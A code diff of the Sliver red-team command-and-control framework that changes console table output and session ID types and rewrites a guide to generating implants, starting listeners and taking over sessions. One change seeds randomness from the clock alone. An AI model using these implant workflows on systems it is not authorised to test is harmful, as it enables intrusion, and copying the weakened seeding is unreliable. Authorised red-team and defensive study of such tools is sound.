+	"bytes"
 	"context"
+	"fmt"
+	"strings"
+	"text/tabwriter"
 
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // WGPortFwdListCmd - List WireGuard port forwards
@@ -42,10 +44,12 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
 		Request: con.ActiveTarget.Request(ctx),
 	})
+
 	if err != nil {
 		con.PrintErrorf("Error: %v", err)
 		return
 	}
+
 	if fwdList.Response != nil && fwdList.Response.Err != "" {
 		con.PrintErrorf("Error: %s\n", fwdList.Response.Err)
 		return
@@ -55,22 +59,18 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if len(fwdList.Forwarders) == 0 {
 			con.PrintInfof("No port forwards\n")
 		} else {
-			tw := table.NewWriter()
-			tw.SetStyle(settings.GetTableStyle(con))
-			tw.AppendHeader(table.Row{
-				"ID",
-				"Name",
-				"Protocol",
-				"Port",
-			})
+			outBuf := bytes.NewBufferString("")
+			table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
+			fmt.Fprintf(table, "ID\tLocal Address\tRemote Address\t\n")
+			fmt.Fprintf(table, "%s\t%s\t%s\t\n",
+				strings.Repeat("=", len("ID")),
+				strings.Repeat("=", len("Local Address")),
+				strings.Repeat("=", len("Remote Address")))
 			for _, fwd := range fwdList.Forwarders {
-				tw.AppendRow(table.Row{
-					fwd.ID,
-					fwd.LocalAddr,
-					fwd.RemoteAddr,
-				})
+				fmt.Fprintf(table, "%d\t%s\t%s\t\n", fwd.ID, fwd.LocalAddr, fwd.RemoteAddr)
 			}
-			con.Println(tw.Render())
+			table.Flush()
+			con.Println(outBuf.String())
 		}
 	}
 }

client/command/wireguard/wg-socks.go

@@ -19,13 +19,15 @@ package wireguard
 */
 
 import (
+	"bytes"
 	"context"
+	"fmt"
+	"strings"
+	"text/tabwriter"
 
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // WGSocksListCmd - List WireGuard SOCKS proxies
@@ -42,30 +44,30 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
 		Request: con.ActiveTarget.Request(ctx),
 	})
+
 	if err != nil {
 		con.PrintErrorf("Error: %v", err)
 		return
 	}
+
 	if socksList.Response != nil && socksList.Response.Err != "" {
 		con.PrintErrorf("Error: %s\n", socksList.Response.Err)
 		return
 	}
 
 	if socksList.Servers != nil {
-		if 0 < len(socksList.Servers) {
-			tw := table.NewWriter()
-			tw.SetStyle(settings.GetTableStyle(con))
-			tw.AppendHeader(table.Row{
-				"ID",
-				"Local Address",
-			})
+		if len(socksList.Servers) > 0 {
+			outBuf := bytes.NewBufferString("")
+			table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
+			fmt.Fprintf(table, "ID\tLocal Address\n")
+			fmt.Fprintf(table, "%s\t%s\t\n",
+				strings.Repeat("=", len("ID")),
+				strings.Repeat("=", len("Local Address")))
 			for _, server := range socksList.Servers {
-				tw.AppendRow(table.Row{
-					server.ID,
-					server.LocalAddr,
-				})
+				fmt.Fprintf(table, "%d\t%s\t\n", server.ID, server.LocalAddr)
 			}
-			con.Println(tw.Render())
+			table.Flush()
+			con.Println(outBuf.String())
 		}
 	}
 

client/console/console.go

@@ -31,7 +31,6 @@ import (
 	"strconv"
 	"strings"
 	"sync"
-	"time"
 
 	"github.com/bishopfox/sliver/client/assets"
 	consts "github.com/bishopfox/sliver/client/constants"
@@ -42,10 +41,13 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"google.golang.org/protobuf/proto"
+
+	"time"
+
 	"github.com/desertbit/go-shlex"
 	"github.com/desertbit/grumble"
 	"github.com/fatih/color"
-	"google.golang.org/protobuf/proto"
 )
 
 const (
@@ -165,8 +167,7 @@ func (con *SliverConsoleClient) EventLoop() {
 			eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
 			sessions := con.GetSessionsByName(event.Session.Name)
 			for _, session := range sessions {
-				shortID := strings.Split(session.ID, "-")[0]
-				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
+				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
 			}
 
 		case consts.WatchtowerEvent:
@@ -174,8 +175,7 @@ func (con *SliverConsoleClient) EventLoop() {
 			eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
 			sessions := con.GetSessionsByName(event.Session.Name)
 			for _, session := range sessions {
-				shortID := strings.Split(session.ID, "-")[0]
-				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
+				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
 			}
 
 		case consts.JoinedEvent:
@@ -190,9 +190,8 @@ func (con *SliverConsoleClient) EventLoop() {
 		case consts.SessionOpenedEvent:
 			session := event.Session
 			currentTime := time.Now().Format(time.RFC1123)
-			shortID := strings.Split(session.ID, "-")[0]
-			con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
-				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
+			con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
+				session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 
 			// Prelude Operator
 			if prelude.SessionMapper != nil {
@@ -205,15 +204,12 @@ func (con *SliverConsoleClient) EventLoop() {
 		case consts.SessionUpdateEvent:
 			session := event.Session
 			currentTime := time.Now().Format(time.RFC1123)
-			shortID := strings.Split(session.ID, "-")[0]
-			con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
+			con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
 
 		case consts.SessionClosedEvent:
 			session := event.Session
-			currentTime := time.Now().Format(time.RFC1123)
-			shortID := strings.Split(session.ID, "-")[0]
-			con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
-				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
+			con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
+				session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
 			activeSession := con.ActiveTarget.GetSession()
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveTarget.Set(nil, nil)
@@ -233,7 +229,7 @@ func (con *SliverConsoleClient) EventLoop() {
 			proto.Unmarshal(event.Data, beacon)
 			currentTime := time.Now().Format(time.RFC1123)
 			shortID := strings.Split(beacon.ID, "-")[0]
-			con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
+			con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
 				shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
 
 		case consts.BeaconTaskResultEvent:
@@ -299,7 +295,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
 
 	// If the callback is not in our map then we don't do anything, the beacon task
 	// was either issued by another operator in multiplayer mode or the client process
-	// was restarted between the time the task was created and when the server got the result
+	// was restarted between the time the task was created and the server go the result
 	con.BeaconTaskCallbacksMutex.Lock()
 	defer con.BeaconTaskCallbacksMutex.Unlock()
 	if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
@@ -410,7 +406,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
 		return nil
 	}
 	for _, session := range sessions.GetSessions() {
-		if session.Name == arg || strings.HasPrefix(session.ID, arg) {
+		if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
 			return session
 		}
 	}

client/constants/constants.go

@@ -97,38 +97,36 @@ const (
 	KickOperatorStr    = "kick-operator"
 	MultiplayerModeStr = "multiplayer"
 
-	SessionsStr     = "sessions"
-	BackgroundStr   = "background"
-	InfoStr         = "info"
-	UseStr          = "use"
-	ReconfigStr     = "reconfig"
-	PruneStr        = "prune"
-	TasksStr        = "tasks"
-	GenerateStr     = "generate"
-	RegenerateStr   = "regenerate"
-	CompilerInfoStr = "info"
-	StagerStr       = "stager"
-	ProfilesStr     = "profiles"
-	BeaconStr       = "beacon"
-	BeaconsStr      = "beacons"
-	WatchStr        = "watch"
-	SettingsStr     = "settings"
-	SearchStr       = "search"
+	SessionsStr   = "sessions"
+	BackgroundStr = "background"
+	InfoStr       = "info"
+	UseStr        = "use"
+	ReconfigStr   = "reconfig"
+	PruneStr      = "prune"
+	TasksStr      = "tasks"
+	GenerateStr   = "generate"
+	RegenerateStr = "regenerate"
+	CompilerStr   = "info"
+	StagerStr     = "stager"
+	ProfilesStr   = "profiles"
+	BeaconStr     = "beacon"
+	BeaconsStr    = "beacons"
+	WatchStr      = "watch"
+	SettingsStr   = "settings"
 
 	// Generic
 
 	// NewStr - "new"
-	NewStr     = "new"
-	AddStr     = "add"
-	StartStr   = "start"
-	StopStr    = "stop"
-	SetStr     = "set"
-	UnsetStr   = "unset"
-	SaveStr    = "save"
-	ReloadStr  = "reload"
-	LoadStr    = "load"
-	TablesStr  = "tables"
-	DetailsStr = "details"
+	NewStr    = "new"
+	AddStr    = "add"
+	StartStr  = "start"
+	StopStr   = "stop"
+	SetStr    = "set"
+	UnsetStr  = "unset"
+	SaveStr   = "save"
+	ReloadStr = "reload"
+	LoadStr   = "load"
+	TablesStr = "tables"
 
 	LootStr       = "loot"
 	LootLocalStr  = "local"
@@ -148,7 +146,7 @@ const (
 	HttpStr        = "http"
 	HttpsStr       = "https"
 	NamedPipeStr   = "named-pipe"
-	TCPListenerStr = "tcp"
+	TCPListenerStr = "tcp-pivot"
 
 	MsfStr       = "msf"
 	MsfInjectStr = "msf-inject"
@@ -188,11 +186,8 @@ const (
 	MigrateStr          = "migrate"
 	SideloadStr         = "sideload"
 	SpawnDllStr         = "spawndll"
-	ExtensionsStr       = "extensions"
-	InstallStr          = "install"
-	ListStr             = "list"
-	ArmoryStr           = "armory"
-	AliasesStr          = "aliases"
+	ExtensionStr        = "extension"
+	LoadMacroStr        = "load-macro"
 	StageListenerStr    = "stage-listener"
 
 	WebsitesStr       = "websites"
@@ -211,8 +206,7 @@ const (
 	RegistryListSubStr    = "list-subkeys"
 	RegistryListValuesStr = "list-values"
 	RegistryCreateKeyStr  = "create"
-	RegistryDeleteKeyStr  = "delete"
-	PivotsStr             = "pivots"
+	PivotsListStr         = "pivots-list"
 	WgConfigStr           = "wg-config"
 	WgSocksStr            = "wg-socks"
 	WgPortFwdStr          = "wg-portfwd"
@@ -220,7 +214,6 @@ const (
 	SSHStr                = "ssh"
 	DLLHijackStr          = "dllhijack"
 	InteractiveStr        = "interactive"
-	CloseStr              = "close"
 
 	PortfwdStr = "portfwd"
 	Socks5Str  = "socks5"
@@ -235,6 +228,8 @@ const (
 	GetPrivsStr        = "getprivs"
 	PreludeOperatorStr = "prelude-operator"
 	ConnectStr         = "connect"
+
+	LibInjectStr = "lib-inject"
 )
 
 // Groups
@@ -243,6 +238,6 @@ const (
 	SliverHelpGroup      = "Sliver:"
 	SliverWinHelpGroup   = "Sliver - Windows:"
 	MultiplayerHelpGroup = "Multiplayer:"
-	AliasHelpGroup       = "Sliver - 3rd Party macros:"
+	MacroHelpGroup       = "Sliver - 3rd Party macros:"
 	ExtensionHelpGroup   = "Sliver - 3rd Party extensions:"
 )

client/core/bof.go

@@ -1,23 +1,5 @@
 package core
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"bytes"
 	"encoding/binary"

client/core/portfwd.go

@@ -29,7 +29,7 @@ var (
 // PortfwdMeta - Metadata about a portfwd listener
 type PortfwdMeta struct {
 	ID         int
-	SessionID  string
+	SessionID  uint32
 	BindAddr   string
 	RemoteAddr string
 }
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
 		log.Printf("[tcpproxy] Failed to dial implant %s", err)
 		return nil, err
 	}
-	log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
+	log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
 	tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
 
 	log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())

client/core/socks.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"io"
-	"log"
 	"net"
 	"sync"
 	"time"
@@ -31,6 +30,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/log"
 	"github.com/bishopfox/sliver/util/leaky"
 )
 
@@ -43,11 +43,12 @@ var (
 	SocksConnPool = sync.Map{}
 	SocksProxyID  = 0
 )
+var coreLog = log.NamedLogger("ClientCore", "sessions")
 
 // PortfwdMeta - Metadata about a portfwd listener
 type SocksProxyMeta struct {
 	ID        int
-	SessionID string
+	SessionID uint32
 	BindAddr  string
 	Username  string
 	Password  string
@@ -120,7 +121,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
 					SocksConnPool.Delete(p.TunnelID)
 					continue
 				}
-				log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
+				coreLog.Debugf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
 				//fmt.Printf("recv data len %d \n", len(p.Data))
 				_, err := n.Write(p.Data)
 				if err != nil {
@@ -150,7 +151,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
 			Request:  &commonpb.Request{SessionID: rpcSocks.SessionID},
 		})
 	}
-	log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
+	coreLog.Infof("Socks Stop -> %s\n", tcpProxy.BindAddr)
 	tcpProxy.Listener.Close()
 	proxy.CloseSend()
 	return nil
@@ -192,7 +193,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 
 	SocksConnPool.Store(frame.TunnelID, conn)
 
-	log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
+	coreLog.Infof("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
 
 	buff := leakyBuf.Get()
 	defer leakyBuf.Put(buff)
@@ -208,7 +209,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 		if n > 0 {
 			frame.Data = buff[:n]
 			frame.Sequence = ToImplantSequence
-			log.Printf("[socks] (User to Client) to Server to agent  Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
+			coreLog.Debugf("[socks] (User to Client) to Server to agent  Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
 			err := stream.Send(frame)
 			if err != nil {
 				return

client/core/tunnel.go

@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
 }
 
 // Start - Add a tunnel to the core mapper
-func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
+func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
 	t.mutex.Lock()
 	defer t.mutex.Unlock()
 	tunnel := &Tunnel{
@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
 type Tunnel struct {
 	ID        uint64
 	IsOpen    bool
-	SessionID string
+	SessionID uint32
 
 	Send chan []byte
 	Recv chan []byte

client/licenses/licenses.go

@@ -290,30 +290,6 @@ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
 ======================================================================================================
 
-MIT License
-
-Copyright (c) 2018-2021 Frank Denis
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-
-======================================================================================================
-
 Copyright (c) 2009 The Go Authors. All rights reserved.
 
 Redistribution and use in source and binary forms, with or without

client/main.go

@@ -32,11 +32,11 @@ import (
 func init() {
 	buf := make([]byte, 8)
 	_, err := rand.Read(buf)
-	if err != nil {
-		insecureRand.Seed(int64(time.Now().Unix()))
-	} else {
-		insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
+	seed := uint64(time.Now().Unix())
+	if err == nil {
+		binary.LittleEndian.PutUint64(buf, uint64(seed))
 	}
+	insecureRand.Seed(int64(seed))
 }
 
 func main() {

client/prelude/commands.go

@@ -50,7 +50,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			if err != nil {
 				return err.Error(), ErrorExitStatus, ErrorExitStatus
 			}
-			return out, 0, 0
+			return out, 0, int(agentSession.Session.GetID())
 		case "exit":
 			return shutdown(agentSession)
 		default:

client/prelude/prelude.go

@@ -33,8 +33,6 @@ import (
 
 var SessionMapper *PreludeSessionMapper
 
-const defaultImplantSleep = 5
-
 type OperatorConfig struct {
 	Range       string
 	OperatorURL string
@@ -78,7 +76,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
 	// GUI, we need to have a unique name for them.
 	// Plus, having the ID in the name will help the user to make the
 	// correlation.
-	sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
+	sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
 	beacon := Beacon{
 		Name:      sessName,
 		Target:    p.conf.OperatorURL,
@@ -90,7 +88,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
 		Links:     make([]Instruction, 0),
 		Executing: "",
 		Pwd:       pwd,
-		Sleep:     defaultImplantSleep,
+		Sleep:     3,
 	}
 
 	if p.conf.AESKey == "" {
@@ -105,7 +103,6 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
 		Address:   p.conf.OperatorURL,
 		Pid:       int(s.PID),
 		Executing: make(map[string]Instruction),
-		Sleep:     defaultImplantSleep,
 	}
 	util.EncryptionKey = &agentConfig.AESKey
 	agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)

docs/_posts/2021-07-07-getting-started.md

@@ -6,28 +6,27 @@ date:   2021-07-07 09:01:33 -0500
 categories: sliver
 ---
 
+# 1. Server Setup
+
+The first thing you'll need to do is setup a Sliver server.
+
+The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
+
+Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
+
+__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
+
+The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
 
 
-__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
-
-## Server Setup
-
-The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
-
-The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
-
-Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
-
-__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
-
-### MinGW Setup (Optional, Recommended)
+### MinGW Setup (Optional)
 
 In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
 
-#### Linux (Debian-based)
+#### Linux
 
 ```
-apt install mingw-w64
+apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
 ```
 
 #### MacOS
@@ -36,65 +35,39 @@ apt install mingw-w64
 brew install mingw-w64
 ```
 
-__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
+__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
 
 ### Metasploit Setup (Optional)
 
-We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
-
-## Implants Beacon vs. Session
-
-Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
-
-Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol. 
-
-Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
-
-Some commands such as `shell` and `portfwd` only work over interactive sessions.
+We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
 
 ## Generating Implants
 
-__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
-
 Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
 
-#### Session Mode
-
 ```
-[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
+sliver > generate --mtls example.com --save /Users/moloch/Desktop
 
 [*] Generating new windows/amd64 Sliver binary
-[*] Build completed in 00:00:16
+[*] Build completed in 00:10:16
 [*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
 ```
 
-#### Beacon Mode
+Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
 
 ```
-[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
-
-[*] Generating new windows/amd64 beacon implant binary (1m0s)
-[*] Symbol obfuscation is enabled
-[*] Build completed in 00:00:27
-[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
-```
-
-Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
-
-Some commands/features may not work on "unsupported" platforms.
-
-```
-sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
+sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
 
 [*] Generating new darwin/amd64 Sliver binary
-[*] Build completed in 00:00:09
+[!] Symbol obfuscation is disabled
+[*] Build completed in 00:00:03
 [*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
 ```
 
-The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
+The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
 
 ```
-sliver > implants
+sliver > slivers
 
 Name                    OS/Arch        Debug  Format
 ====                    =======        =====  ======
@@ -110,7 +83,7 @@ SICK_SPY                darwin/amd64   false  EXECUTABLE
 If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
 
 ```
-sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
+sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
 
 [*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
 ```
@@ -123,7 +96,7 @@ For addition details about each C2 please see:
 
 ## Getting Shells
 
-Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
+Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
 
 ```
 sliver > mtls
@@ -140,101 +113,26 @@ ID  Name  Protocol  Port
 
 In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
 
-### Interacting with Sessions
-
-The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
-
 ```
-[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
+[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
 
-sliver > use 8ff2ce4c
+sliver > use 1
 
-[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
+[*] Active sliver PROPER_ANTHONY (1)
 
-sliver (LONG_DRAMATURGE) > ls
+sliver (PROPER_ANTHONY) > ls
 
 /Users/moloch/Desktop
 =====================
 .DS_Store                 6.0 KiB
 .localized                0 B
-LONG_DRAMATURGE           6.3 MiB
+PROPER_ANTHONY            6.3 MiB
 ```
 
-If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
-
-### Interacting with Beacons
-
-Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
